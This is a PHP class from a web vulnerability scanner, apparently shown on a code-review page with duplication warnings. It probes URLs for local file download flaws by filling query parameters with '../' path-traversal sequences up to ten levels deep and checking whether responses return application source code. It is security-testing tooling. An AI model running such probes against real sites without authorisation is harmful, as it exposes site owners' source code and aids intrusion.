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<?php |
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namespace Aszone\Vulnerabilities; |
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use GuzzleHttp\ClientInterface; |
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use Psr\Log\LoggerInterface; |
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use Aszone\Vulnerabilities\Log\Logger; |
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class LocalFileDownload implements VulnerabilityScanner |
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{ |
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private $client; |
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private $logger; |
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View Code Duplication |
public function __construct(ClientInterface $client, LoggerInterface $logger = null) |
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{ |
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$this->client = $client; |
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if (empty($logger)) { |
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$logger = new Logger; |
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} |
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$this->logger = $logger; |
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} |
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public function isVulnerable($target) |
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{ |
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if ($this->isLfdPossible($target)) { |
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return $this->verify($target); |
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} |
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return false; |
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} |
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public function isLfdPossible($target) |
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{ |
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return (bool) preg_match("/\?|(.+?)\=/", $target); |
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} |
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protected function verify($target) |
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{ |
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$urls = $this->generateUrls($target); |
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$this->logger->info("\n"); |
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foreach ($urls as $url) { |
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$result = $this->attack($url); |
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if ($result && $this->isApplicationFile($result)) { |
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$this->logger->info('Is Vull'); |
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return $url; |
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} |
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} |
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return false; |
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} |
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protected function isApplicationFile($body) |
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{ |
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return (bool) preg_match("/<%@|<%|<\?php|<\?=/", $body); |
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} |
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protected function attack($url) |
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{ |
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$this->logger->info('.'); |
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try { |
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return $this->client->get($url)->getBody()->getContents(); |
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} catch (\Exception $e) { |
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$this->logger->error('#'); |
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} |
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return false; |
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} |
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public function generateUrls($target) |
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{ |
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$this->logger->info($target); |
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$parts = parse_url($target); |
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if (!isset($parts['path'])) { |
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return []; |
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} |
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$ext = $this->getExtension($parts['path']); |
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$urlsIndex = $this->generateUrlsByExploit($target, 'index.'.$ext); |
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$urlsPath = $this->generateUrlsByExploit($target, $parts['path']); |
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return array_merge($urlsPath, $urlsIndex); |
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} |
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public function generateUrlsByExploit($target, $exploit) |
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{ |
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$explodeUrl = parse_url($target); |
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$explodeQuery = explode('&', $explodeUrl['query']); |
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View Code Duplication |
foreach ($explodeQuery as $keyQuery => $query) { |
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$explodeQueryEqual = explode('=', $query); |
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$wordsValue[$explodeQueryEqual[0]] = ''; |
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if ($explodeQueryEqual[1]) { |
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$wordsValue[$explodeQueryEqual[0]] = $explodeQueryEqual[1]; |
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} |
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} |
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View Code Duplication |
foreach ($wordsValue as $keyValue => $value) { |
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$urls[] = str_replace($keyValue.'='.$value, $keyValue.'=??????????', $target); |
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} |
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$urlFinal = []; |
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View Code Duplication |
foreach ($urls as $url) { |
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$urlFinal[] = str_replace('??????????', $exploit, $url); |
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$breakFolder = '../'; |
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for ($i = 1; $i <= 10; ++$i) { |
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$urlFinal[] = str_replace('??????????', $breakFolder.$exploit, $url); |
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$breakFolder .= '../'; |
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} |
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} |
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return $urlFinal; |
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} |
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protected function getExtension($path) |
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{ |
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$isValidExt = preg_match("/\.(.*)/", $path, $matches); |
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if ($isValidExt) { |
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return $matches[1]; |
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} |
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return false; |
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} |
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} |
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Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation.
You can also find more detailed suggestions in the “Code” section of your repository.